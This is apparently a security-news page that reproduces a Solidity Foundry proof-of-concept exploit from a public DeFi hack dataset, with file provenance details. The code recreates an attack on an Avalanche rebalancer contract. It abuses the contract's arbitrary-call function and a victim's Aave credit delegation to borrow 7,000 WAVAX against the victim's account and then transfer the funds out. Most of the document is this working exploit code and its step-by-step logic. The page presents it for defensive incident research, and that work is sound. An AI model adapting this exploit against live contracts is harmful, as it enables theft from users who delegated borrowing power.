Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol

Public reproduction file for dataset entry AaveRebalancerCreditDelegation.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol125 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 6,999.91 WAVAX
8// Attacker : 0xf59dc5521f191bcb53a9bcbd1654be81b72ee96f
9// Attack Contract : 0xe44eea4c6c2085d590a4a6bea01cf83e87a37be5
10// Vulnerable Contract : 0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c9
11// Attack Tx : https://snowscan.xyz/tx/0xaaa1b2e561738399af890dde2b18252b698e9b0ae7c8430fdd855f426835001b
13// @Info
14// Vulnerable Contract Code : https://snowscan.xyz/address/0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c9#code
15// Aave Pool Proxy : https://snowscan.xyz/address/0x794a61358d6845594f94dc1db02a252b5b4814ad#code
16// Aave Pool Implementation : https://snowscan.xyz/address/0x6cddff90124ba51afac5715314db7c9546b32204#code
18// @Analysis
19// Twitter Guy : https://x.com/DefimonAlerts/status/2046504796463808991
20//
21// The rebalancer executes caller-supplied target/data from its own address. The attacker used that surface to
22// call Aave Pool.borrow(WAVAX, 7000e18, 2, 0, victim). Aave accepted the borrow because the victim had delegated
23// WAVAX borrowing power to the rebalancer, minting variable WAVAX debt to the victim and sending WAVAX to the
24// rebalancer. A second arbitrary call transferred the acquired WAVAX out.
26address constant ATTACKER = 0xf59dc5521f191Bcb53a9bcBD1654Be81B72EE96F;
27address constant ATTACK_CONTRACT = 0xe44EEa4C6C2085D590A4a6BeA01CF83E87A37bE5;
28address constant VULNERABLE_REBALANCER = 0x7A7bAB45363Efb0394Ff27bfA29bb7C0534cA8C9;
29address constant VICTIM = 0x6fDAE9edACc6461b21f71a1a6a420197D2b0C3aa;
30address constant AAVE_POOL = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;
31address constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
32address constant SAVAX = 0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE;
33address constant USDC_TOKEN = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;
34address constant VARIABLE_DEBT_WAVAX = 0x4a1c3aD6Ed28a636ee1751C69071f6be75DEb8B8;
36interface IVariableDebtToken {
37 function approveDelegation(address delegatee, uint256 amount) external;
38 function borrowAllowance(address fromUser, address toUser) external view returns (uint256);
39 function balanceOf(address user) external view returns (uint256);
42contract ContractTest is BaseTestWithBalanceLog {
43 IAaveFlashloan private constant pool = IAaveFlashloan(AAVE_POOL);
44 IERC20 private constant wavax = IERC20(WAVAX);
45 IERC20 private constant savax = IERC20(SAVAX);
46 IERC20 private constant usdc = IERC20(USDC_TOKEN);
47 IVariableDebtToken private constant variableDebtWavax = IVariableDebtToken(VARIABLE_DEBT_WAVAX);
49 function setUp() public {
50 uint256 forkBlock = 83_324_252;
51 vm.createSelectFork("avalanche", forkBlock);
53 vm.label(ATTACKER, "Attacker / Profit Receiver");
54 vm.label(ATTACK_CONTRACT, "Attack Contract");
55 vm.label(VULNERABLE_REBALANCER, "Vulnerable sAVAX Rebalancer");
56 vm.label(VICTIM, "Victim");
57 vm.label(AAVE_POOL, "Aave V3 Pool");
58 vm.label(WAVAX, "WAVAX");
59 vm.label(SAVAX, "sAVAX");
60 vm.label(USDC_TOKEN, "USDC");
61 vm.label(VARIABLE_DEBT_WAVAX, "variableDebtAvaWAVAX");
62 }
64 function testExploit() public {
65 uint256 victimDebtBefore = variableDebtWavax.balanceOf(VICTIM);
66 uint256 attackerWavaxBefore = wavax.balanceOf(ATTACKER);
67 uint256 delegatedBorrowAllowance = variableDebtWavax.borrowAllowance(VICTIM, VULNERABLE_REBALANCER);
68 assertEq(delegatedBorrowAllowance, type(uint256).max);
70 uint256 setupBorrowAmount = 0.01 ether;
71 uint256 savaxDepositPerRebalance = 0.001 ether;
72 uint256 maliciousBorrowAmount = 7_000 ether;
74 // step 1: create the tiny local Aave position needed for the rebalancer's normal borrow path.
75 deal(USDC_TOKEN, address(this), 1e6);
76 deal(SAVAX, address(this), 2 * savaxDepositPerRebalance);
77 usdc.approve(AAVE_POOL, type(uint256).max);
78 wavax.approve(AAVE_POOL, type(uint256).max);
79 pool.supply(USDC_TOKEN, 1e6, address(this), 0);
80 variableDebtWavax.approveDelegation(VULNERABLE_REBALANCER, type(uint256).max);
82 // step 2: execute the victim-funded Aave borrow from the historical rebalancer address.
83 savax.transfer(VULNERABLE_REBALANCER, savaxDepositPerRebalance);
84 bytes memory borrowFromVictim = abi.encodeWithSelector(
85 pool.borrow.selector,
86 WAVAX,
87 maliciousBorrowAmount,
88 2,
89 0,
90 VICTIM
91 );
92 _callRebalancer(setupBorrowAmount, AAVE_POOL, borrowFromVictim);
94 // step 3: make the same arbitrary-call surface transfer the acquired WAVAX out to this PoC.
95 savax.transfer(VULNERABLE_REBALANCER, savaxDepositPerRebalance);
96 uint256 amountAvailableAfterSecondSetupBorrow = wavax.balanceOf(VULNERABLE_REBALANCER) + setupBorrowAmount;
97 bytes memory pullWavax = abi.encodeWithSelector(wavax.transfer.selector, address(this), amountAvailableAfterSecondSetupBorrow);
98 _callRebalancer(setupBorrowAmount, WAVAX, pullWavax);
100 // step 4: repay only the PoC's own small setup debt, leaving the victim-funded debt increase as impact.
101 uint256 localSetupDebt = variableDebtWavax.balanceOf(address(this));
102 pool.repay(WAVAX, localSetupDebt, 2, address(this));
104 uint256 profit = wavax.balanceOf(address(this));
105 wavax.transfer(ATTACKER, profit);
107 uint256 victimDebtIncrease = variableDebtWavax.balanceOf(VICTIM) - victimDebtBefore;
108 uint256 attackerProfit = wavax.balanceOf(ATTACKER) - attackerWavaxBefore;
109 emit log_named_decimal_uint("Victim variable WAVAX debt increase", victimDebtIncrease, 18);
110 emit log_named_decimal_uint("Final WAVAX profit", attackerProfit, 18);
111 assertGt(victimDebtIncrease, maliciousBorrowAmount);
112 assertGt(attackerProfit, 6_999 ether);
113 }
115 function _callRebalancer(uint256 amount, address target, bytes memory data) private {
116 // Selector 0xb2a13230 decodes in the attack tx as (uint256 amount, address target, bytes data, bool flag).
117 (bool ok, bytes memory returnData) =
118 VULNERABLE_REBALANCER.call(abi.encodeWithSelector(bytes4(0xb2a13230), amount, target, data, true));
119 if (!ok) {
120 assembly {
121 revert(add(returnData, 0x20), mload(returnData))
122 }
123 }
124 }

Analysis

Dataset entry

Public Foundry test for “AaveRebalancerCreditDelegation” (2026-04-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf59dc5521f191bcb53a9bcbd1654be81b72ee96f

  • Attack Contract

    0xe44eea4c6c2085d590a4a6bea01cf83e87a37be5

  • Vulnerable Contract

    0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c9

  • Attack Tx

    0xaaa1b2e561738399af890dde2b18252b698e9b0ae7c8430fdd855f426835001b

File record

Name
AaveRebalancerCreditDelegation
Path
src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
63dce5d91dada8a184bb73f896a0a2eac75f0730
Language
Solidity
Size
126 lines
Date
2026-04-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 63dce5d91dada8a184bb73f896a0a2eac75f0730, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.